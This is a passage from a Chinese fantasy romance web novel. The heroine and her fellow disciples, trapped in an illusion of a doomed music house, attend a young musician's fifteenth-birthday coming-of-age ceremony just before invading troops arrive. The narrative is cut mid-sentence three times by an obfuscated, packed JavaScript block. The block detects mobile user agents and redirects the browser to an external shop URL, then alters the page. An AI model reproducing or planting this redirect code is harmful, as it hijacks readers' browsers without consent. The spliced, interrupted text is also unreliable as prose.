她这时才反应过来之前客栈中的香味是何种香味。一盒胭脂或是水粉的味道是极淡的,但若是数十个姑娘的妆品合在一处空间内,那香味自然就浓了起来。 她彻底确认了此处就是那座早已坍毁了的乐楼。 梁惜因轻轻放下胭脂,继续走到墙边,小心地取下了挂在墙上的琵琶。这琵琶由紫檀木制成,螺钿精巧,与梳妆台上看似华美实则做工粗糙的首饰不同,是实打实的名贵。且格外的光滑洁净,一看就是被细心呵护着的。 房门骤然被推开,梁惜因还没来得及把琵琶挂回去,就被一个妆容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358974|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浓艳、体形丰腴的中年女子连推带拽地拉了出去:“梁因,你怎么还在这磨蹭,客人都要等不及了。这可是你学成以来第一次给客人弹曲,好好表现,莫要丢了我们乐楼的脸面。” 等等,什么客人?演奏什么?? 梁因还没来得及问,就被推入了一间雅间。那女子在门口笑着说了句:“公子,久等了。”又对梁惜因使了个眼色,随后干脆利落地把门关上了。 梁惜因:“......” 她紧握着方才取出的阵石,转身一步步向里头走去,却很是意外地看见了坐在正中的重霄。 “阿霄?!” 重霄也是一副出乎意料的模样,眼中的警戒退去,他站起身快步走向梁惜因,“姐姐,你怎么来了?我刚还想着要去何处寻姐姐。”他握住梁惜因的肩膀,将她仔细打量了一遍,“姐姐可有受伤?” 梁惜因暂时收起阵石,将手中琵琶轻放在一张椅子上,好笑地握住他的手,把自己的经历说了一遍,“我哪有那么容易受伤啊。倒是你,可曾遇到什么怪事?” “不曾,我睁眼后就在这雅间内。适才那女子让我稍候,她去找人。我原想着从她找来的人口中套点信息出来,不想她却是把姐姐给找了过来。”重霄扬眉道。 梁惜因调侃道:“那我岂不是让阿霄的计划落空了?” “怎会,什么事都没有姐姐重要。”重霄注视着她,极为认真地道。 梁惜因心中升起一丝微妙的不自在,她轻咳一声,说:“好了,先去找师兄师姐他们吧。” 她欲向外走去,重霄却又拉住她,“等一下,姐姐。” “嗯?”梁惜因回头。 重霄看向那把琵琶,弯腰凑近了她:“方才那女子可是要我在此等人奏曲的,姐姐既来了,何不奏上一曲?” 低醇的嗓音响在耳畔,梁惜因怔了一瞬,才笑着睨他一眼道:“别闹了,阿霄,你知我不会弹琵琶的。快走吧,去和师兄师姐他们会合。” 重霄站直身子,嘴角的笑意却不曾落下:“好,听姐姐的。” 两人走出雅间,得以观察到乐楼内部的全貌。只见帘幕高挂,画栋雕梁,来往的客人虽不多,但个个身着绫罗绸缎,非富即贵。绵绵的丝竹声不绝于耳,光是这么听着就使人不自觉地醉在陵州城的春风中。 一楼的大堂内,数位身姿曼妙的女子伴着乐声翩翩而舞,旋身挥袖,每一个动作都似舞在人的心上,惹得堂下掌声不断。二楼和三楼是不同形制的雅间和乐娘们的卧房,梁惜因视线扫了一圈,有些头疼:“也不知他们都在哪间房。” 她边找边和重霄道:“看来我们此番是入了归虚阵。” 归虚阵,幻阵的一种。阵中的景象依托于真实发生过的事件,但也会有所差别。入阵之人会在阵中获得一个新身份,如不能及时破阵,则会逐渐被阵中幻象所惑,分不清真假虚实,从而精神错乱以致死亡。死后的神魂会重新回到阵中,化作阵法的养料。 “没错,此间的人看到我们并无诧色,想来是出于幻阵赋予的身份。”重霄道。 “如此看来,我是楼中乐娘,阿霄则是...” “是第一位听姐姐奏曲的客人。”不知出于何种心思,他还特意加重了“第一位”这三个字。 “都说我不会奏曲了,”梁惜因无奈笑道,“况且此间的一切都是假的。” 重霄没回话,垂着眼睫不知在思索些什么。 幻境是假的,但有些东西不是。不论世事光阴如何变迁,也永远都不会改变。 就在这时,梁惜因突然停住了脚步,对重霄招了招手:“我好像听到了二师兄的声音。” 两人向面前的雅间走近,梁惜因抬手想敲门,却被重霄拉住衣袖往后一扯。下一秒眼前的门就被打开了,更贴切的说是被撞开。 只见柳甫畅背对着门,直挺挺的从雅间内倒到了门外的回廊上,一脸安详。门内则传来了乐娘们的阵阵惊呼。 梁惜因:“......”年轻就是好呀,倒头就睡。 17. 乐楼 柳甫畅阖眸躺在客栈的床上,一会嫌床太硬,一会又嫌床褥的料子不够好,嫌着嫌着困意上涌,意识也随之慢慢模糊起来。 忽听得耳边传来一阵悠扬乐声,柳甫畅乍然惊醒,翻身坐了起来。这时他发现身下的床已变为了一张长塌,手中不知何时执了一盏玉杯,一个朱唇粉面的姑娘正在给他添酒。 柳甫畅大惊失色:“啊!!” 他匆忙往后挪,手中的玉杯掉落在地,里头的清酒半杯洒在他衣服下摆,半杯洒在了姑娘衣服的前襟上,洇出了一小片深色。 姑娘蛾眉轻蹙,眼中泛起水色:“柳公子...” 乐声停歇,乐娘们紧张地看向他们二人,也有人跟着不解地唤了几声“公子”。 柳甫畅循声抬头,又惊道:“怎么还有人啊!” 几个乐娘面面相觑,一人上前将那倒酒的姑娘挡在身后,欠身道:“柳公子,月罗年纪小不懂事,要是有哪里令公子不满,还望公子多多担待,玉柔感激不尽。” “无事,姑娘你...阿嚏!”柳甫畅知晓这是在幻阵中,但这劣质脂粉香也太浓了吧!!和客栈中那种若有若无的淡香不一样,这是直接往他鼻子里冲啊! “还是换种...阿嚏...好点的香粉吧...阿嚏...”实在是有些刺鼻。 玉柔没听清:“公子你说什么?” 余下的几名乐娘也纷纷走了过来。 “柳公子,可有大碍?” “要不要出去叫大夫啊?” “不好,这万一出了事,李娘子怕是要怪罪下来。”这话说得乐娘们脸色微变,更加殷勤地凑上前来,一叠声地喊着“柳公子”。 柳甫畅:“......” 金贵的柳少爷实在受不住这铺天盖地的脂粉香,以手掩鼻,一边继续控制不住地打喷嚏,一边费力从围在长塌边的众红粉中脱出身来。 乐娘们还欲再上前:“柳公子,你这是要去哪?” “停!都别过来啊,就站在那就行。”柳甫畅疯狂后退。 月罗不知看到了什么,惊呼一声:“柳公子,小心头!” 头??柳甫畅尚未反应过来,后脑就结结实实地撞在了墙边柜架的一角上。眼前一黑,柳甫畅在昏过去前最后的记忆是他扶住了柜架旁的木门。 结果那门没关紧,他直接倒到外面来了。 听乐娘们说完大致事情经过的梁惜因:“......” 有几个乐娘胆子本来就小,此刻抽噎着说:“怎么办,梁妹妹,柳公子不会有事吧?” 这声“梁妹妹”让梁惜因反应过来,眼下她也是乐娘中的一员。她笑着安慰她们道:“无事,你们先走吧,此处交给我和...这位客人就行。” 乐娘们对视几眼,深知这么多人留在此处也无用,便相携着离开了,路过重霄时还不忘向他欠身行了个礼。 梁惜因和重霄合力把柳甫畅重新安置在长塌上。看着不省人事的柳甫畅,梁惜因对重霄说:“那阿霄你留在这看顾一下二师兄,我继续去寻人。” “为何?”重霄微微皱眉。 “幻阵中变数太多,二师兄身边不能离人。”见重霄似是不乐意,她又提议道:“那或者我留在这,你去找他们?” 重霄思索后说:“还是我留下吧,姐姐你快些回来。” “好。”梁惜因走出雅间,在二楼寻了一圈后仍无所获,便继续往楼上走去。她正走着,正对着楼梯的雅间的门就突然被撞开了。 一个衣着豪奢,肥头大耳的中年男子连滚带爬地冲了出来,嘴里还在不断喊着:“姑娘饶命!姑娘饶命!我下次再也不敢了。” 梁惜因揉了揉眼睛,她出现幻觉了?乐楼中还有这样待客的?? 紧接着她便看见燕明昭举着把古琴,杀气腾腾地追了出来:“敢叫本姑娘给你弹琴就罢了,弹了还嫌不好听,谁给你的胆子!” 那人还在求饶:“我有错我有错,姑娘饶命,姑娘饶命。” 燕明昭冷哼一声,正思忖着这一下到底是砸还是不砸,就看到了楼梯上的梁惜因。 梁惜因:“......” 燕明昭:“......” 四目相对间,梁惜因一脚悬在上一级楼梯上,欲落不落,“师姐...”完了,她看到了什么,不会被杀人灭口吧... 燕明昭一顿,默默把古琴收到身后,目光飘忽地笑了几声:“是师妹啊,真巧啊。” 梁惜因也笑:“是啊师姐,真巧啊。” 那男子早就趁机溜了,燕明昭本想当作什么都没发生,奈不住越想越气:“真是岂有此理,本姑娘纡尊降贵地给他弹琴,这天大的荣幸他竟还嫌起来了!” 梁惜因突然想到一个问题:“师姐,你此前学过古琴吗?” “没有啊,怎么了?” 梁惜因:“......无事。我们还是去找大师兄吧。” 燕明昭把琴放回去,与梁惜因分头找起来。没走多远,她就在一间雅间前停住了脚步:“师妹,这间。” 梁惜因快步走过来,确实在门口隐约听到了谢淳的声音,“这么快就找到了?师姐好生厉害!” “咳,先敲门吧。” 敲了几下没人应,梁惜因看了眼燕明昭,后者对她点了点头,于是两人一同伸手推开了门。 结果就见谢淳端坐在长塌上,双眼紧闭,几个乐娘围坐在他身边,笑吟吟地说:“谢公子怎么不喝啊,可是这酒不合口味?” “谢公子可是号称千金不醉,眼下一口都不愿喝,莫不是嫌我们楼中的酒不够好?” “谢公子不是说要和识弦姐姐比酒量的吗,怎生又不比了?” 梁惜因:“......”大师兄...好弱小,好无助。 梁惜因和燕明昭又走近了些,这下她听清谢淳在念叨什么了:“阵者,变化万端,然万端归一。以纹绘之,以枢掌之,以眼破之,以图传之...” 《阵法入门》......论好学还得是你啊大师兄! 不同于梁惜因的震惊,燕明昭面不改色地绕到后面拍了拍谢淳的肩,“师...谢公子。” 谢淳睁眼,在看到她们二人后顿时如蒙大赦,眼里明晃晃地写着“你们可算来了”。 燕明昭由对那几名乐娘说:“你们先回去吧,我和梁因来招待这位公子。” 乐娘们有些不乐意,但见谢淳并未出声挽留,便也识趣地离开了。 这几人一走,燕明昭立马忍不住笑出声来:“哈哈哈...师兄你方才想逃又逃不掉的样子好好笑...” 谢淳颇觉无语,揉了揉眉心道:“也不知这幻阵给我安排了个什么身份,这群姑娘非要让我喝酒,我说了我不能喝,她们偏还不信,继续不依不饶,想走也不让走。”是以他干脆放弃挣扎,温习起阵法来了。 为了不让谢淳更加窘迫,梁惜因一直努力忍着笑。看来大师兄不知道,他表现得越是正经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358975|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那些乐娘就越觉得欺负他有意思。 彼时柳甫畅已醒了有一会了,正对着重霄那张冷脸纠结着要不要说些什么打破沉默。恰好这时房门被推开,看着进门的三人,柳甫畅和重霄不约而同地都松了口气。 重霄走向梁惜因:“姐姐,你回来了。” “嗯,是不是挺快的?” 燕明昭和谢淳前去关怀柳甫畅,“听师妹说你昏倒了?怎么倒的?”燕明昭问。 柳甫畅似是觉着丢脸,移开视线说:“说来话长...但这些姑娘身上的脂粉香也太冲了吧!”不行,一提起这个,他头又开始晕了。 梁惜因倒觉得那些脂粉的香气虽浓烈,却并不难闻。但转念一想柳府的女眷平日里都用的什么品质的脂粉,她又觉得可以理解柳甫畅了。 “既然人到齐了,那便来谈谈破阵之法。”谢淳不忘正事。 梁惜因接道:“若要破归虚阵,则必须寻到阵眼,这阵眼可能是物,也可能是人,但不论是什么,都与阵中最深的执念有关。” 柳甫畅说:“师妹所言不错,且阵眼要在最后期限前寻到。按吴掌柜先前所言,这最后期限应为乐楼被焚毁的那日。” 几人讨论着阵眼,重霄一直不曾说话,只是靠在墙边注视着梁惜因。这时房门被敲响,燕明昭喊了声“进”,于是门被推开,玉柔和月罗走了进来。 玉柔并未走近,她将手中的纸包放在桌案上,说:“此番令柳公子受惊,姐妹们实是心下难安,便寻大夫开了些安神调养的方子来。” 柳甫畅闻言有些过意不去:“劳姑娘费心了,我已无大碍。” 燕明昭也说:“放心好了,这柳公子皮糙肉厚得很。” 柳甫畅:“......”忍住,千万要忍住,这可是师姐。 月罗从方才起就半躲在玉柔身后,此时弯着双眼,提裙小跑过来,拉着梁惜因和燕明昭,附耳对她们说:“梁姐姐,燕姐姐,今晚别忘了哦。” 梁惜因和燕明昭对视一眼,别忘了什么? 月罗说完就又跑回玉柔身后了,只探出了个脑袋,羞涩地对她们笑了笑。 玉柔牵住她,两人对着他们盈盈一礼,转身出去了。 柳甫畅戳了戳燕明昭:“诶,她和你们说什么了?” 燕明昭摇头:“没懂,好像是今晚有什么事。” 还没等到究竟是什么事,几人就先等来了一开始拉着梁惜因出门的那女子,也就是乐楼老板李娘子的逐客令,“三位公子,我们乐楼要关门了,几位再不回去就赶不上城中宵禁了。” 谢淳温润一笑:“李娘子,可否让我们几人晚上就歇在此处?”这是在幻阵之中,他们就算想出也出不得这乐楼。 李娘子面露难色:“谢公子,我们这是乐楼,从不留客人过夜。” “这下可以了吗?”柳甫畅使用了他的钞能力,从乾坤袋中摸出两张银票来。 李娘子接过一看,眼睛都直了,当即换了副面孔,堆着笑道:“哎呦,既然是三位公子要住,那当然没问题,楼上的雅间随几位挑,需要什么吩咐一声就是。” 梁惜因:“......”果然,钱才是万能的。 李娘子扭着身子走到一半,又回身对他们说:“三位公子既已留下,可有兴趣一道来参加月罗姑娘的生辰宴?” 生辰宴。这下几人都明白月罗先前所言何事了。 谢淳回道:“既是李娘子相邀,那我们就却之不恭了。” 18. 吉乐 夜幕低垂,寒星点点,乐楼内的客人陆陆续续地都离去了,大堂内烛火渐熄,与不久前的繁华热闹相比,显得空旷而又寂寥。 但在二楼的一间雅间内,却仍是烛火通明,笑语盈天。 楼内的姑娘们将大大小小的桌案拼在一起,桌面上覆满了琳琅满目的菜肴。月罗被众人簇拥着坐在了中间,因着身边基本都是熟人,她神色中少了几分胆怯羞涩,更多了些纯然的欣喜。 不少姑娘都洗去了脂粉,换上舒适宽松的常服,三三两两的一起谈着、笑着,面上是任何脂粉都描画不出的鲜妍色彩。 在看到谢淳一行人后,雅间内气氛凝滞片刻,但这些姑娘们并未拘谨多久,反而热情地招呼他们一起坐下。 梁惜因忽然想到了一件事,她低声对燕明昭道:“师姐,我们没准备生辰礼就来了。” 燕明昭:“......”她也忘了这回事了,再说这哪有时间准备啊! 两人不约而同地看向坐在一旁的柳甫畅,柳甫畅被盯得一激灵,警觉道:“作、作甚?” 梁惜因:“二师兄,爆点金币。” 柳甫畅:“...啊?” 没过一会,燕明昭把玩着搜刮来的几枚彩色玉石,对梁惜因扬眉道:“我就说他那里多的是。”她挤进围在月罗身前送礼物的那堆姑娘中,“小月罗,这是我和梁因送你的,生辰吉乐啊。” 月罗接过,惊喜道:“哇,好漂亮,月罗谢过二位姐姐!” 李娘子从门口端进来一碗汤面,“来,都让一让啊!”众姑娘嬉笑着避让出一条道来,李娘子把碗置于月罗面前的桌上,擦着额上的汗说道:“月罗,尝尝看,我亲自下厨做的。吃了长寿面,万事无忧愁。” 梁惜因被氛围感染,嘴角一直不曾落下,“月罗,吃之前许个愿吧。”她道。 “许愿?”月罗惑然地望向她。 “啊...这是我家乡那边的传统,说是生辰那日许的愿望会有很大可能实现。”梁惜因解释道。 “原是如此。”众姑娘露出恍然大悟的神情,也纷纷催促起月罗许愿来。 月罗唇角含着笑,闭上眼睛,双手合十,泠泠月光洒在她脸上,让这本就虚幻的场景更显缥缈。 等她再睁开眼,立刻有姑娘按捺不住地问她:“月罗妹妹许了什么愿啊?” “不知可与我们有关呢?” “那肯定是愿我们乐楼能越开越好啊,是不是啊小月罗?” 月罗双颊飞红,抿着唇摇了摇头:“我不说。”这般情态惹得众人又是一阵嬉笑。 李娘子上前把她们挤开:“去去去,月罗过生辰还这么闹她。”她又对月罗说:“别理她们,快吃面吧,再不吃就凉了。” 月罗点头,然而刚吃了几口,眼泪就止不住地落了下来。坐得最近的玉柔连忙摸出帕子来帮她擦拭,又是心疼又是不解:“这大好的日子,怎生还哭了呢?” 方才闹得最狠的几人见状,立马过来讨饶道:“月罗妹妹,是我们几个说错话了,你别哭呀。” 李娘子斜了她们几人一眼,抚着月罗的后背说:“别哭了啊,这脸都哭花了,过会的及笄礼可怎么整?” 月罗边擦眼泪边笑道:“没有,我这就是...太开心了。” 李娘子微怔,眼角的皱纹都笑得堆叠在了一起,她无奈道:“这都十五的人了,怎么还跟个孩子一样。” 谢淳出言问道:“今日竟是月罗姑娘的十五岁生辰吗?” 玉柔回他道:“是啊,谢公子,楼中姐妹们身份低下,没办法也做不到像寻常人家小姐那样在吉日举办及笄礼。只能在十五岁生辰当日简单办一下,让几位公子见笑了。” 谢淳摆手:“无妨,此礼重在寓意,流程反倒是次要的。” 柳甫畅若有所思:“玉柔姑娘好像对月罗姑娘格外照顾啊。” 有姑娘笑说:“那是自然,月罗来了后就是由玉柔姐姐带大的,两人比亲姐妹还要亲呢!” 玉柔娇笑着道:“就你话多!” “原是如此。”柳甫畅点头。 等月罗细细地将一碗面吃完,玉柔领着她坐到房内的月牙凳上。李娘子执着把木梳,为月罗梳着披散的长发,眼中的圆滑与精明不再,取而代之的是长辈对晚辈的慈爱,“吉月令日,始行笄礼,弃尔幼志,顺尔成德,履以孝悌,明以长序,寿考莫忘,以介景福。” 她念得格外缓慢,声音也分外的轻柔,字字句句无不包含着最诚挚的祝愿。众姑娘静默地观着礼,连呼吸都不自觉放轻了些许。玉柔双手递上早已备好的发簪,李娘子格外仔细地替月罗簪上,眼中感慨万千,她将双手放在月罗的肩上,落寞与欣喜交织着出现在她的面上,“我们月罗也是大姑娘了啊。” 众姑娘笑着对视几眼,也纷纷送上祝福,晚宴的气氛被推向高潮。几位姑娘搬来酒坛,“李娘子可是说好了今日要与我们分享她的珍藏的。”此言一出,不少姑娘都欢呼起来。 李娘子指着搬酒的几人,笑骂道:“就你们几个机灵!别忘了给我留点!” 笑语喧哗,窗边烛火明灭,梁惜因眉目间却流露出愁色来。重霄给她添了一杯茶,问道:“姐姐在想什么?” “我在想...这一切都太真实了。”哪怕明知是幻象,却还是忍不住沉浸其中。 “想来这都是由阵中执念之人生前记忆所化。”重霄道,“不过既已身处此时此地,姐姐又何必忧思太多,不妨好好享用美酒佳肴,其余事容后再议。” 他示意梁惜因看向席间已然喝上头的柳甫畅和燕明昭,梁惜因轻笑,将杯中茶水饮尽:“阿霄说得在理。” 李娘子似乎也已喝醉了,脚步虚浮地绕着桌案道:“都吃啊,多吃点好...”结果一个不注意,左脚绊右脚的就要往前栽去,重霄眼疾手快地扶她到身边的空位上坐下。 李娘子迷瞪着眼,“多谢、多谢公子。” “无事。李娘子一人经营这么大的乐楼,想必平时也难有像今日这般尽兴的时刻。”重霄开始套话。 “可不是,这么多姑娘要照看,还有那些无礼的客人要防,哪敢放松啊。”李娘子靠在椅背上,深有感触,“但这些姑娘也是可怜啊,要么无父无母,要么有父母还不如没有,小小年纪就被拉到街上来卖,和那些货物没什么两样。” “所以李娘子便将她们收养了?”重霄继续问。 李娘子打了个酒嗝,面上是酒意带来的酡红,“没办法啊,总不能眼睁睁看着她们流落街头啊,那就算长大了也是被糟蹋的命。正巧我手头还有点闲钱,便办了这乐楼,请人来教姑娘们学艺。若实在没天赋,在厨房里做做点心打打杂也好。虽然也不是多好的去处,但总归是有个遮风挡雨的地儿。” 梁惜因暗自佩服,又问:“你的家人也都支持你这么做吗?” “我哪有什么家人啊。说到底,我和你们又有何不同呢。”李娘子长叹一声,像是陷入了某段回忆,“虽生在富户,但我那爹娘眼中只有他们那宝贵儿子,把我嫁出去后便不闻不问,只余我日日受那男的踢打辱骂。” 说到这,她面色一变,拍着桌案忿忿道:“但老娘我哪肯受这个气,直接与他和离了。那家伙还死不同意,害的老娘又做了两年牢。天底下竟还有这样的律法,简直荒谬!这世道对女子为何如此不公!” 这话要是被有心人听到,怕是又免不了牢狱之灾了。梁惜因默了默,柔声道:“李娘子,如今楼内的姑娘们都是你的家人。” “是啊,亲人...一家人...”李娘子说了这半天话,终是抵不过酒意,趴在桌案上睡去了。 梁惜因一愣,这喝多了还真是说睡就睡啊。 她想把李娘子扶回房去,又意识到她根本不知李娘子住在哪间房,好在有几个姑娘也注意到了这边的动静,“哎呀,李娘子怎的就睡过去了?” 几人围上前来搀扶起李娘子,梁惜因对她们道了声谢,姑娘们反而说笑道:“梁妹妹何时变得这么客气了。” 梁惜因抿唇轻笑,将她们送出门。等她再度转身向里走时,就见谢淳被姑娘们围着,“谢公子当真不喝一口吗?这可是李娘子藏了好些时日的美酒。” “是啊,谢公子不是说自己的酒量全陵州无人可比吗,不知与识弦姐姐比起来如何。” “诶?识弦姐姐人呢?” 好熟悉的场景...眼见谢淳又要开始背阵法要诀了,梁惜因决定前去拯救大师兄。 “几位姐姐妹妹,谢公子近日患了风寒,大夫说了不能饮酒的。” 谢淳感激地看着她:“我也是说我不能饮酒,怎奈她们不信。” “啊?竟是真的吗,我们还道谢公子是唬人的呢。” “可是谢公子看着分明很是康健啊。” 话音刚落,谢淳就咳了起来,咳得那叫一个撕心裂肺、天崩地裂,仿佛下一秒就要倒过去了。 姑娘们:“......” 梁惜因:“......”大师兄你这不是也挺会演的嘛。 几位姑娘对谢淳欠了欠身,自向旁处去了。方才问起识弦的那姑娘指了指窗边,疑惑道:“咦?识弦姐姐怎的一个人站在那?” 梁惜因顺着她指的方向看去,就见窗边立着个风姿绰约的女子,正拿着一把金色小剪剪着烛芯。 另一位姑娘见了,叹息着道:“定是又在想她那位薛公子了,往日薛公子来看识弦姐姐时,包下的都是这间装饰最好的雅间。” “可薛公子不是...哪还能那么容易回来呢?” “我们还是走吧,可别扰了识弦姐姐。” 几人语焉不详,梁惜因看着那单薄孤寂的背影,犹豫须臾后还是走了过去,轻声唤道:“识弦姐姐。” 识弦闻声看向她,淡笑着说:“是梁妹妹啊。” “姐姐怎么不再坐着多吃一些,这般丰盛的菜色可是不多见。” “心中装得全是那人,自是没了胃口。”识弦望向窗外的弯弯新月,清冷的嗓音中带着几分自嘲。 听她主动提起,梁惜因便接着问道:“可是薛公子?” “不错。”识弦并不意外。 “那他现在...在何处?” “不知,任何一处的战场上都有可能。”识弦阖了阖眸,“西朔于去年与大盛交战,薛郎他是个有血性的,毅然决然地参了军。但那战场上刀剑无情,西朔军又个个人高马大,薛郎他连与人打架都是极少的,又怎会不受伤呢。” 她从袖中取出一个有些旧的平安符来,“这是他随军出征前我从庙中求的,我与他各佩一个。自他走后,我也就只能从那不时的来信中知晓他的消息,只是山高路远,眼下距他上一次来信已是两月有余了。” 一行清泪划落,识弦的神色说不清是喜是悲,“这个傻子,每次来信都与我说他运气好没受伤,真当我会信啊,”她哽咽道,“还说什么打完仗了就回来娶我,我还不见得乐意等他呢...” 她拭了拭眼角,收拾了情绪后对梁惜因说:“抱歉啊,梁妹妹。自顾自地说了这么多,也没问你愿不愿意听。” “无妨,识弦姐姐既然愿意说,我当然也是愿意听的。” “许是我也有些醉了。”识弦摆弄着手中的小剪,“梁妹妹你知道的,从前他每次来楼中找我,订的都是这间雅间。” “那些日子还会再有的,到时只怕姐姐过也要过腻了。”梁惜因不忍见她神情落寞, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358976|152851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打趣了这么一句。 识弦果然笑了出来:“那便承妹妹吉言了。” 夜色已深,陵州城中万籁俱静,仿佛所有的灯火与欢笑都聚集在了这不大的雅间中,一切动荡与愁苦都被隔绝于外。但既是宴席,就总有结束之时。 姑娘们结伴走在回房的路上,意犹未尽地道:“怎生这么快就散了啊,我还想再和大家多待会呢。” “你都不累吗,明天还要待客呢。” “唉,一想到又要给那些个臭男人弹琴我就烦。” “瞧你这话说的,还没习惯呢?” 梁惜因和谢淳一人扶着燕明昭,一人架着柳甫畅,走在人群最后面。燕明昭浑身酒气,迷迷糊糊地睁眼看到了梁惜因,揽着她的肩道:“来,师妹,接着喝!” 不能再喝了啊师姐!话说你们俩这毛病真的不是和师尊学的吗... “不喝了,师姐,回去睡觉了。” 重霄这下没有理由再和梁惜因睡一间房了,他选了距她的房间最近的一间雅间,站在门口看向梁惜因,一副自己没有被坚定选择的可怜模样。 梁惜因被看得哭笑不得,这哪有一点魔尊的样子。她小心翼翼地把燕明昭扶到床上躺好,又小跑到他面前,说:“快去睡吧,阿霄,我们靠得很近的。” “那姐姐以后还会同我一起睡吗?”重霄半垂着头,定定注视着梁惜因。 这话问的,怎么听起来这么奇怪呢...梁惜因让自己不要多想,正要婉言拒绝,结果在与重霄对视上的一刹,话到嘴边又成了:“唔...看情况吧。” 重霄得了回复,唇角微微扬起:“好。时候不早了,姐姐快些回去休息吧。” 梁惜因依言道:“晚安,阿霄。” “晚安。”重霄一直看她关上门后才转身进房。 身侧的燕明昭早已熟睡,梁惜因坐在床上,总觉得哪里不对劲,自己刚才怎么就脑子一抽说出那种模棱两可的话了呢?? 百思不得其解。 次日一早,梁惜因是被拍门声给吵醒的,“起来了起来了,过会就要迎客了,赶紧起来收拾收拾。”李娘子在门外高声喊道。 梁惜因慢吞吞的从床上坐起,那场焚毁乐楼的大火一直悬于她心头,使她快到天快亮时才睡着。再观身旁的燕明昭,也是睡眼惺忪、迷迷糊糊。 不知是太困了没睡醒还是酒意尚未褪尽,燕大小姐罕见的没有发脾气,反应慢半拍的和梁惜因一同起床了。 两人整顿好后出门,重霄和两位师兄已是站在门口等着了。 梁惜因奇道:“都起这么早?李娘子该不会也去喊你们了吧?” 柳甫畅打了个哈欠:“李娘子倒是没来。我是听着姑娘们的脚步声和练琴声醒的。” 修仙之人的体质自是比凡人强的,他醉后醒来也不觉头痛,正想着能不能再睡一会,就见谢淳已经穿戴整齐,笑眼看着自己道:“师弟,你醒了。” 柳甫畅:“......” 于是他也只能认命的起床。 柳甫畅凑到燕明昭身边,啧啧道:“师姐,你看看你,在幻阵中还这么松懈,说醉就醉。” 燕明昭此时已逐渐清醒过来,当即就踹了他一脚:“找死啊你!怎么有脸说我的!” 被痛击的柳甫畅:“嗷——” 梁惜因:“......” 重霄丝毫不关注这两人的动静,而是问梁惜因:“姐姐昨夜没睡好?” “嗯,”梁惜因点点头,“一直在想事情。” 重霄走到她身后,伸手轻揉着她的太阳穴,“那等出了幻阵,姐姐可要好好睡一觉。” 谢淳:“......”怎么觉得自己有些多余? 他清了清嗓子,说:“我和师弟已与李娘子说过,让两位师妹今日全天与我们一道,不必再去招待其他客人。” 燕明昭满意道:“倒也省的我受那些胆大包天之人的气。” 梁惜因:“......”她是不是该庆幸楼中古琴逃离了被砸坏的命运。 几人走进一间雅间,关上房门。谢淳继续说:“我昨日夜里又思索了番,关于这场大火,我此前也有所耳闻。虽然事情发生时我还未入玄晖宗,但我曾听城中百姓说起过。” “二十多年前,大盛和西朔交战。西朔骑兵骁勇善战,大盛的作战准备又不充分,以至于连失三州,西朔大军直逼皇城。彼时太子年幼,大盛先帝深知战局难测,便令一众官员护送太子南下避难,自己则亲率城中百姓和余下的官兵出城迎敌。幸运的是,那场仗打赢了。” “西朔军损失惨重,见皇城一时攻不下来,于是绕道急攻淮州。淮州全无迎战准备,只一晚便被攻下。西朔大军遂借道兵临陵州城下,誓要擒拿太子,并以此对皇城形成包围之势。彼时陵州的兵力多已随军北上,事发突然,援军还未赶到,城就被攻下了。” “西朔的军士连破两城,志气愈骄。又见城中物阜民丰,享乐之心顿起,在城中大肆劫掠,他们庆功的首选之地便是这城门口的乐楼。结果就在当晚,一场大火将乐楼和楼中的所有人都烧作了灰烬。” “谁也不知那场火的起因是什么,但西朔有几个高级将领都葬身于火海之中,军心不稳。援军在几日后赶到,一举收复淮、陵两州。再往后就是人尽皆知的平野之战了,一战彻底挫败了西朔,才使得大盛能在日后一统两国。” 谢淳语调平静,他说完后,房内一时无人接话,都陷入了思索。一片沉默之中,忽听楼下大堂传来阵阵喧哗之声。几人不暇多思,快步走出房间,就闻得楼下的绝望哭喊之声:“淮州城破了!西朔、西朔军要打到我们城外了!” 梁惜因心头一跳,来了。 19. 浮萍 站在连廊上的姑娘闻言无不大惊。李娘子面上骤然失了血色,原地踉跄了几步,像抓住救命稻草般拉着报信的那人确认道:“此话当真?” 那人点头,泪水糊了满脸:“千真万确啊李娘子!你我同街开店多年,万一、万一...那第一个遭罪的就是你我啊!快逃吧!” 李娘子浑身骤然失了力气,松开手跌坐在地。那人担忧地望了她最后一眼,转身奔向楼外了。 不知是谁先喊了声“李娘子”,姑娘们这才像回了魂似的纷纷提裙向大堂跑去。梁惜因被人群裹挟着下了楼,重霄一直走在她身后,小心翼翼地伸手护着她。 绝望的情绪总是蔓延的最快,哭声如潮水般袭来,姑娘们瑟缩在一起,昨日的歌舞与欢笑此刻竟同泡影一般。 “西朔人打来了,我们怎么办?” “怎么会,皇城不是守住了吗?我还不想死...” 